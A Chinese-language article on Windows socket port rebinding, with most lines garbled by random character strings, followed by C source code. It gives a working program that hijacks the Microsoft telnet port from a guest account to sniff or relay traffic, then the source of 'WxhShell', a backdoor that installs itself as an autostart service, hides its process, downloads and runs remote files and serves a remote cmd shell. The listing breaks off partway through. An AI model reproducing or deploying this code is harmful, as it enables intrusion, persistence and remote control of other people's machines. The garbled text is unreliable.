在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
ej,R:}C%` s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
^s\T<; 2
ZyO saddr.sin_family = AF_INET;
_&N}.y)+t oSLm?Lu saddr.sin_addr.s_addr = htonl(INADDR_ANY);
.Bojb~zt Id=V\'$o bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
OMAvJzK . 6w~Cyu4Ov 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
nP_)PDTFp r@EHn[w 这意味着什么?意味着可以进行如下的攻击:
y@r g_Paq wz>[CXpi_ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
iKu4s K[S)e!\. 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
c7D{^$L9v PYTwyqS 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
u.Tknw-X ?JBA`,- 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Dt\rrN:v OZEbs 7 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
]3~u @6 :!JQ<kV 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
S6Y:Z0 S]NT +XM 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
0O a&vx 7^syu;DT9Y #include
x[xRqC
vL #include
Z!3R #include
/D964VR1M\ #include
TfHL'u9B DWORD WINAPI ClientThread(LPVOID lpParam);
A4(k<<xjE int main()
Q%524%f$ {
z[@i=avPG WORD wVersionRequested;
a#lytp DWORD ret;
x_CY`Y WSADATA wsaData;
lOM8%{.'_x BOOL val;
iH~A7e62OZ SOCKADDR_IN saddr;
qWf[X' SOCKADDR_IN scaddr;
b1;h6AeL int err;
q[9N4nj$< SOCKET s;
eL.WP`Lz SOCKET sc;
'Va<GHr>+ int caddsize;
6)BPDfU, HANDLE mt;
UA(4mbz+ DWORD tid;
?#Y:2LqP C wVersionRequested = MAKEWORD( 2, 2 );
qHT73_R err = WSAStartup( wVersionRequested, &wsaData );
qoZ)"M if ( err != 0 ) {
!cdY`f6x printf("error!WSAStartup failed!\n");
I9m9`4BK return -1;
/nv+*+Q?d }
5=I"bnIU saddr.sin_family = AF_INET;
pjl>ZoOM \hn$-'=4 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
'oH3| 1Wiz0X/ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
>; tE.CJH saddr.sin_port = htons(23);
n`@dk_%yI if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Q*M(d\V s {
i+pQ 7wx printf("error!socket failed!\n");
.;qh>Gt return -1;
A\W)uwyN }
<EcxNj1 val = TRUE;
9|[uie //SO_REUSEADDR选项就是可以实现端口重绑定的
.<Jv= if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
z"mpwmv5 {
^b}Wl0Fn printf("error!setsockopt failed!\n");
\ q3ui}-9 return -1;
LAY:R{vI }
MT:VQ>fC //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
FD&^nJ_{ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
z@w}+fYO //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
rV4K@)~ :YOo"3.] if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Lis>Qr {
F_m'
9KX4E ret=GetLastError();
e$2P/6k> printf("error!bind failed!\n");
m(d|TwG{ return -1;
rZcSG(d`53 }
W amOg0 listen(s,2);
+GL$[ 5G while(1)
8UXRM :Z" {
V"'PA-z3 caddsize = sizeof(scaddr);
&:IcwD& //接受连接请求
RjTGm=1w sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
"a}fwg9Y if(sc!=INVALID_SOCKET)
!c{F{t-a {
u"m(a:jQ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
R&&&RI3{ if(mt==NULL)
&6
<a<S {
2H0BNrYM printf("Thread Creat Failed!\n");
j;7E+Yp break;
;,e16^\' & }
^jUw4Dj~-q }
X{Hh^H CloseHandle(mt);
Crg'AB? }
kd\Hj~* closesocket(s);
,W|-?b? WSACleanup();
J 7 G-qF\ return 0;
9xhc:@B1J }
%=Z/Frd DWORD WINAPI ClientThread(LPVOID lpParam)
r
1jt~0&K {
I[v`)T'_{ SOCKET ss = (SOCKET)lpParam;
V $w
lOMp SOCKET sc;
c.b| RM0; unsigned char buf[4096];
o|xZ?#^h SOCKADDR_IN saddr;
,7c Rd }1Y long num;
rQ_@q_B. DWORD val;
+egwZ$5I DWORD ret;
X<Z(,B //如果是隐藏端口应用的话,可以在此处加一些判断
{\%I;2X //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
7`&ISRU4 saddr.sin_family = AF_INET;
.(.< saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
{,+c saddr.sin_port = htons(23);
+kQ=2dva if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
dpscgW{M {
_8
|X820 printf("error!socket failed!\n");
F.5fasdX'
return -1;
*|Er;Thw }
F;8Q`$n val = 100;
UO@K:n if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<Nqbp {
gCC7L(1 ret = GetLastError();
matna return -1;
-X~|jF }
],S {?!'1 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
)Hmf=eoc {
3N|z^6`# ret = GetLastError();
D_0Vu/v return -1;
iW>^'W# }
OQB7C0+ & if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
U4\v~n\ {
;-kDJi printf("error!socket connect failed!\n");
ceJi|`F closesocket(sc);
#o4tG closesocket(ss);
n"6L\u return -1;
3dj|jw5 }
l[ $bn!_e while(1)
E KV[cq {
9tPRQM7 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
62qjU<Z //如果是嗅探内容的话,可以再此处进行内容分析和记录
jd-]q2fQ| //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
79W^;\3 num = recv(ss,buf,4096,0);
o25rKC=o if(num>0)
"^\q{S&q2P send(sc,buf,num,0);
]{\ttb%GX else if(num==0)
#Ir?v break;
Coe/ 4!$M num = recv(sc,buf,4096,0);
mA+:)?e5~ if(num>0)
%8tE*3iUF send(ss,buf,num,0);
Q}L?o else if(num==0)
x'I!f? / & break;
4A!]kj5T }
c Pf_B= closesocket(ss);
;x/eb g
closesocket(sc);
F. SB_S<' return 0 ;
z m$Sw0#( }
gE#'Zv {7 6D`n^ uoP yEI@^8]s ==========================================================
XAU%B-l: bTaKB- 下边附上一个代码,,WXhSHELL
WqCC4R,- \MOwp@|y ==========================================================
@5S' 5)4pB ujX;wGje #include "stdafx.h"
/D3{EjUE= D<n03 // 从dll定义API
esqmj#G typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
{arqcILr typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
b|d-vnYE typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
r!mRUw'u typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
O,Q.- Pb#M7=J/ // wxhshell配置信息
;Y?MbD struct WSCFG {
KUAzJ[> int ws_port; // 监听端口
69g{oo char ws_passstr[REG_LEN]; // 口令
kOYUxr.b int ws_autoins; // 安装标记, 1=yes 0=no
<1D|TrP char ws_regname[REG_LEN]; // 注册表键名
M3pE$KT0x char ws_svcname[REG_LEN]; // 服务名
BNu >/zGpB char ws_svcdisp[SVC_LEN]; // 服务显示名
-zR<m char ws_svcdesc[SVC_LEN]; // 服务描述信息
Lnr9*dm6q char ws_passmsg[SVC_LEN]; // 密码输入提示信息
%;,fI'M int ws_downexe; // 下载执行标记, 1=yes 0=no
+xFn~b/ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
r7m~.M+W" char ws_filenam[SVC_LEN]; // 下载后保存的文件名
HEF
e? fjh|V9H };
ju"z Z}J5sifr // default Wxhshell configuration
#Iw(+%D struct WSCFG wscfg={DEF_PORT,
m@td[^O- "xuhuanlingzhe",
j[G`p^ul 1,
CL=%eSsuD "Wxhshell",
b(iF0U>& "Wxhshell",
#S}orWj
"WxhShell Service",
wVBKVb9N "Wrsky Windows CmdShell Service",
~||0lj.D "Please Input Your Password: ",
_%w680b' 1,
QNj]wm=mp "
http://www.wrsky.com/wxhshell.exe",
#,%bW[L<N "Wxhshell.exe"
/( Wq };
2Y
vr|] \8 v"USD<
// 消息定义模块
cb}"giXQTB char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
XUqorE char *msg_ws_prompt="\n\r? for help\n\r#>";
Fc~G*Gz~Z| char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
8 #_pkVQw: char *msg_ws_ext="\n\rExit.";
9`tK9 char *msg_ws_end="\n\rQuit.";
X0/slOT char *msg_ws_boot="\n\rReboot...";
sg2;"E@ char *msg_ws_poff="\n\rShutdown...";
IDohv[# char *msg_ws_down="\n\rSave to ";
"4N&T# *_(X$qfoW char *msg_ws_err="\n\rErr!";
l5[5Y6c> char *msg_ws_ok="\n\rOK!";
pRd.KY -< #[+# bw_6 char ExeFile[MAX_PATH];
$R9D
L^iD int nUser = 0;
2|nm> 4 HANDLE handles[MAX_USER];
po| Ux`u int OsIsNt;
OM86C #@R0$x SERVICE_STATUS serviceStatus;
sPH2KwEv SERVICE_STATUS_HANDLE hServiceStatusHandle;
\TV EL 5+pt // 函数声明
hlzB
cz* int Install(void);
akj<*, int Uninstall(void);
3BFOZV+ int DownloadFile(char *sURL, SOCKET wsh);
>B BV/C'9 int Boot(int flag);
dSM\:/t void HideProc(void);
;tOsA # int GetOsVer(void);
Pfd1[~, int Wxhshell(SOCKET wsl);
$O"ss>8Se void TalkWithClient(void *cs);
YF%gs{ int CmdShell(SOCKET sock);
5ZCu6A int StartFromService(void);
T5XXC1+ int StartWxhshell(LPSTR lpCmdLine);
70'OS:J=\ 19!?oeOU VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
honh'j VOID WINAPI NTServiceHandler( DWORD fdwControl );
=pH2V^<<# Rh>B#
\ // 数据结构和表定义
;%tFi SERVICE_TABLE_ENTRY DispatchTable[] =
S
'a- E![ {
I/E 9: {wscfg.ws_svcname, NTServiceMain},
+VIA@`4 {NULL, NULL}
mZ)>^.N6 };
I2[U #4n 5'2kP{; // 自我安装
oPe|Gfv\G int Install(void)
#;[G>-tC {
RD$:. char svExeFile[MAX_PATH];
Pv -4psdw HKEY key;
O]N /(pe:d strcpy(svExeFile,ExeFile);
u]p21)m$x X8C7d6ca // 如果是win9x系统,修改注册表设为自启动
Jf YgZ\# if(!OsIsNt) {
K;F1'5+=D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
'zyw-1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
/%@;t@BK4 RegCloseKey(key);
Qqm?%7A1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
5EYGA\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
*+M#D^qo RegCloseKey(key);
!KHgHKEW^ return 0;
}b_Ob }
8^7Oc,:~ }
'l*X?ccKy }
y`I>|5[` else {
v~$V EX,>V,.UV // 如果是NT以上系统,安装为系统服务
>|f"EK}m! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
*`>BOl+ro if (schSCManager!=0)
gOF^?M11x {
`YhGd?uu$ SC_HANDLE schService = CreateService
8>KUx]AN (
yw1&I^7 schSCManager,
{>>X3I wscfg.ws_svcname,
-Vn#Ab_C wscfg.ws_svcdisp,
b3A0o* SERVICE_ALL_ACCESS,
0|&@)` SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
"\4W])30 SERVICE_AUTO_START,
g'.OzD SERVICE_ERROR_NORMAL,
rc_m{.b svExeFile,
| {9<%Ok4P NULL,
fU>l:BzJK NULL,
O}M-6!%<, NULL,
=j.TDv'^nd NULL,
:=Olp;+_ NULL
bzr2Zj{4 );
9q'9i9/3d if (schService!=0)
*HoRYCL {
8dE0y P CloseServiceHandle(schService);
s9Hxiw@D CloseServiceHandle(schSCManager);
}g bLWx'iG strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
7^dr[.Q[* strcat(svExeFile,wscfg.ws_svcname);
yE}\4_0I/ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Fp\;j\pfw RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
';C'9k<P: RegCloseKey(key);
,`geOJn'
return 0;
'Lu<2=a~ }
#Y7jNrxE }
A`7(i'i5] CloseServiceHandle(schSCManager);
56;u7 }
P$EiD+5#z }
b-u@?G|< t;* zr* return 1;
N/tcW }
K_YrdA)6 ]8A*uyi // 自我卸载
=gVMt int Uninstall(void)
M9iX_4 {
q T6y& HKEY key;
D{(}&8a9 &5W;E+Pub if(!OsIsNt) {
M%E<]H2;S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
y3~`qq RegDeleteValue(key,wscfg.ws_regname);
Y 9$jJ1V RegCloseKey(key);
Xb"i/gfxt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
od=hCQ1> RegDeleteValue(key,wscfg.ws_regname);
`2f/4]fY RegCloseKey(key);
sxT&T=7 return 0;
Bsa;, }
x?S86,RW }
hF'VqJS }
w)7y{ya$ else {
?lC>E[ z|pt)Xl SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
,U""m7 if (schSCManager!=0)
/43l}6I {
ZID- ~
6 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
cZVx4y%kz if (schService!=0)
'g%:/lwA {
}u8(7 if(DeleteService(schService)!=0) {
h$8h@2% CloseServiceHandle(schService);
TtkHMPlm_ CloseServiceHandle(schSCManager);
2"D4q (@ return 0;
L\#YFf }
y i$+rPF1 CloseServiceHandle(schService);
+jhzE% }
Va )W[I CloseServiceHandle(schSCManager);
qSP&Fi }
d5^^h<' }
p8'$@:M\ k2
Ju*W& return 1;
,zgz7 }
s4fO4.bn m )Fx]LeI; // 从指定url下载文件
PhyIea int DownloadFile(char *sURL, SOCKET wsh)
B@*b 9 {
Jg$<2CR& HRESULT hr;
wN.S] char seps[]= "/";
5Npxs&Ea char *token;
x$q} lJv_ char *file;
]@ruizb8 char myURL[MAX_PATH];
cF
5|Pf char myFILE[MAX_PATH];
x+cL(R X,G<D} strcpy(myURL,sURL);
Q/g!h}>(. token=strtok(myURL,seps);
]EKg)E while(token!=NULL)
G QYR`;> {
i.^ytbH file=token;
_M%>Q m token=strtok(NULL,seps);
N# }A9t }
+ydd"` 5,
$6mU#= GetCurrentDirectory(MAX_PATH,myFILE);
1
tOslP@ strcat(myFILE, "\\");
v#x`c_ strcat(myFILE, file);
,]EhDW6 send(wsh,myFILE,strlen(myFILE),0);
HQ@g6 send(wsh,"...",3,0);
0h A: =r hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
) (YNNu if(hr==S_OK)
?Kgb-bXB return 0;
!S=YM<A d else
Xr
<H^X return 1;
YVccO~!8 `,6|6.8# }
t8-P'3,Q$ @dv8 F
"v // 系统电源模块
UF7h{V}) int Boot(int flag)
Wh i#Ii~ {
%)7t2D HANDLE hToken;
P7F"#R0QB TOKEN_PRIVILEGES tkp;
yMWh#[phH zjA]Tr if(OsIsNt) {
YH\9Je%jx OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
y.A3hV%6b LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
>[Vc$[62 tkp.PrivilegeCount = 1;
./ {79 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
:\|A.#
U AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
e%cTFwX?n if(flag==REBOOT) {
0{b} 1D if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
y nmjIQ
return 0;
<-k! }
ES4Wtc)& else {
Z$/76 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
kL1<H%1' return 0;
_;03R{e* }
l^	d }
EQ273sdK else {
%]Z4b;W[Y if(flag==REBOOT) {
xoo,}EY if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
qA GjR!=^ return 0;
ZMQ=D!kT }
MoFM'a9 else {
Sy VGm@ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
]i#p2?BR return 0;
0FOB5eBR }
tq59w }
0cycnOd _H]^7`; return 1;
ZHK>0>; }
5z_d$.CIc 7,SQz6] // win9x进程隐藏模块
_P.I+!w:x void HideProc(void)
R `tJ7MB {
OL
0YjU@ Iuxf`sd HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
&q>8D' if ( hKernel != NULL )
Lyhuyb)k5^ {
$Er=i }` pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
B4b'0p ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
,m<YSMKX FreeLibrary(hKernel);
`r}_92Tt }
J|BElBY s-IE}I?; return;
R@K\ }
QH-CZ6M t.ulG
* // 获取操作系统版本
Rv&"h_"t int GetOsVer(void)
<uuumi-!%G {
y5sH7`2+5 OSVERSIONINFO winfo;
\( s `=(t winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
fv7VDo8vb GetVersionEx(&winfo);
W+i^tmj if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
YcA. Bn|as return 1;
h q7f"` else
qO"QSSbZqQ return 0;
H=BI%Z }
|1%%c
% dT0W8oL // 客户端句柄模块
5b:1+5iF- int Wxhshell(SOCKET wsl)
X]y8-}Qf {
-4x! #|] SOCKET wsh;
:Vxt2@p{ struct sockaddr_in client;
"zq'nV= DWORD myID;
-
jZAvb J920A^)j! while(nUser<MAX_USER)
gg`{kN^r.a {
:\~>7VFg int nSize=sizeof(client);
~3bV~H#~m wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
%$ya>0?mq if(wsh==INVALID_SOCKET) return 1;
?c?@j}=?yY US)i"l7:H* handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
(n k g if(handles[nUser]==0)
+1wEoU.l2 closesocket(wsh);
_9=87u0 else
={xRNNUj_ nUser++;
1T#-1n%[k( }
'yCVB&`b WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
F qJ`d2E Yuv=<V return 0;
B5 /8LEWw }
yr},pB _t-6m2A // 关闭 socket
z/91v#}. void CloseIt(SOCKET wsh)
C@*x {
"S#$:92 closesocket(wsh);
Zw)=Y.y! nUser--;
M;XU"8 ExitThread(0);
x9F* $G }
Ly(iq .*N,x(V // 客户端请求句柄
f=91
Z_M void TalkWithClient(void *cs)
+On2R&m {
s[7$%|~W #*:1C h]B SOCKET wsh=(SOCKET)cs;
7J3A]>qU char pwd[SVC_LEN];
y3(~8n char cmd[KEY_BUFF];
z>+CMH5L) char chr[1];
!QdX+y<re int i,j;
kR1
12J9P d0T 8Cwcb while (nUser < MAX_USER) {
V #vkj L__{U_p if(wscfg.ws_passstr) {
y=9fuGL6 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
<>KQ8: //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
d3a!s //ZeroMemory(pwd,KEY_BUFF);
j7);N i=0;
F+G+XtOS while(i<SVC_LEN) {
,MHK|8! 6 [bQ'Ir^8 // 设置超时
@RB^m(> 5 fd_set FdRead;
!|9@f$Jv struct timeval TimeOut;
O\q6T7bfRW FD_ZERO(&FdRead);
~rrl"a> FD_SET(wsh,&FdRead);
@=g{4(zR^ TimeOut.tv_sec=8;
D
Q4O TimeOut.tv_usec=0;
w?_'sP{pd int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
KY2z)#/ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
= <A0; DQ$m@_/4w if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
S^1ZsD. pwd
=chr[0]; bOYM-\
{y
if(chr[0]==0xd || chr[0]==0xa) { ]/p>p3@1C
pwd=0; 8fQfu'LyjY
break; w}/+3z
} K
d#(eGe
i++; OGH,K'l
} |pknaz
:V6t5I'_
// 如果是非法用户,关闭 socket /^K-tz-R
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q(46v`u
} y'6l fThT
(uHyWEHt
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <D& Ep
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |BtFT
( ?e
Et&
while(1) { m+dQBsz\
K{Nj-Rqd
ZeroMemory(cmd,KEY_BUFF); Qo]qs+
"Qc4v@~)
// 自动支持客户端 telnet标准 :rk6Stn$z
j=0; )yz)Fw|&
while(j<KEY_BUFF) { L;Yn q<x
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wU/fGg*M2
cmd[j]=chr[0]; wqjR-$c
if(chr[0]==0xa || chr[0]==0xd) { $PlMyLu7jc
cmd[j]=0; <h|&7
break; S6JWsi4C:,
} 3*?W2;Zw$
j++; 6h)
&h1Yd
} %<|<%~l&
j:8Pcx
// 下载文件 L[5U(`q[
if(strstr(cmd,"http://")) { sA+K?_
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0Bkc93
if(DownloadFile(cmd,wsh)) oFzmH!&ED
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;S&anC#E
else g%)cyri
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |rgPHRX^Hn
} B<.ZW}#v
else { qx0F*EH|
;eW)&qzK
switch(cmd[0]) { [T3%Xt'4
T`u
,!S
// 帮助 mYk~ ]a-
case '?': { pFBK'NE
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d&ff1(j(
break; D)[(
} %5n'+- XVj
// 安装 5]kv1nQ
case 'i': { " w /Odd
if(Install()) LOwd mj
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^FTS'/Q
else ts,V+cEA
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J9J/3O
Q=
break; fCX8s(|F
} ~?iQnQYI
// 卸载 @L 6)RF
case 'r': { 8RVRfy,w
if(Uninstall()) 0hXx31JN N
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _0ZBG(
else }P\6}cK
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xbCQ^W2YU|
break; l&Y'5k_R
} .E7"Lfs-
// 显示 wxhshell 所在路径 :+?rnb)N
case 'p': { \0e`sOS`L
char svExeFile[MAX_PATH]; d+
[2Sm(7
strcpy(svExeFile,"\n\r"); D'% O<.m
strcat(svExeFile,ExeFile); (bB"6
#TI
send(wsh,svExeFile,strlen(svExeFile),0); : Hu{MN\
break; {DUtdu[
} N&$ ,uhmO
// 重启 BJg
case 'b': { h$6~3^g:P
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )4,U
if(Boot(REBOOT)) |GP&!]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 50T^V`6
else { R.
vVl+
closesocket(wsh); LEX @hkh
ExitThread(0); Nz;\PS
} rP!GS
_RG
break; wAL}c(EHO
} 7 Z?
Hyv
// 关机 W|s";EAM
case 'd': { $ 1m}lXk
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nC!L<OMr
if(Boot(SHUTDOWN)) _w'_l>I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y;
to9Kv$
else { 8f65;lyN
closesocket(wsh); 2Je]dj4
ExitThread(0); MY}K.^4^
} NBLjBa%eL
break; ki1j~q
} *D9H3M[o#
// 获取shell +m/n~-6q
case 's': { H(y Gh
CmdShell(wsh); Bx5kqHp^1
closesocket(wsh); dT (i*E\j
ExitThread(0); 6}|h
break; cRWB`&
} V\l@_%D[(v
// 退出 G!h75G20
case 'x': { ]e+&Pxw]e
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l@-h.tS
CloseIt(wsh); qOnGP{
break; JZ&_1~Z=
} |>.</68Z
// 离开 ^6LnB#C&
case 'q': { @YG-LEh
send(wsh,msg_ws_end,strlen(msg_ws_end),0); rUAt`ykTmN
closesocket(wsh); I`i"*z
WSACleanup(); 4%I[.dBnM
exit(1); XP?)xDr8
break; #VVfHCy
} kQQDaZ8
} UP%6s:>:
} mm.%Dcn
i$<")q
// 提示信息 (mKH,r
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;K%/sIIke
} _+(@?
} ts=:r
Chx+p&!
return; z0 #2?o
} 4"\cA:9a
0z4M/WrNt
// shell模块句柄 Re
%dNxJ=
int CmdShell(SOCKET sock) rPqM&&+
{ \xv(&94U
STARTUPINFO si; +%u3% }
ZeroMemory(&si,sizeof(si));
UT9u?
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; het<#3Bo
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sf# px|~9
PROCESS_INFORMATION ProcessInfo; 2gMG7%d
char cmdline[]="cmd"; N;6o=^ic
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BMu Efa^
return 0; t8rFn
} HEIg_6sb
S6a\KtVa
// 自身启动模式 ;ko6igx)+
int StartFromService(void) 0Oc?:R'$
{ ,]W|"NUI
typedef struct !2Z"Lm
{ TsG x2[
DWORD ExitStatus; ~1[n@{*: (
DWORD PebBaseAddress; 0 yq
DWORD AffinityMask; hqmE]hwc
DWORD BasePriority; zB~< @
ULONG UniqueProcessId; J p+'"a
ULONG InheritedFromUniqueProcessId; T<?kH
} PROCESS_BASIC_INFORMATION; n-yUt72
nPqpat`E
PROCNTQSIP NtQueryInformationProcess; >eQ.y-
4
a.}#nSYP
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g= Vu'p 3u
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IDFzyg_
&ah%^Z4um
HANDLE hProcess; WKlyOK=}
PROCESS_BASIC_INFORMATION pbi; yb?Pyq.D
3?I!
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'xGhMgR;
if(NULL == hInst ) return 0; \y]K]iv
:Ev
gUA\4
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ipbhjK$
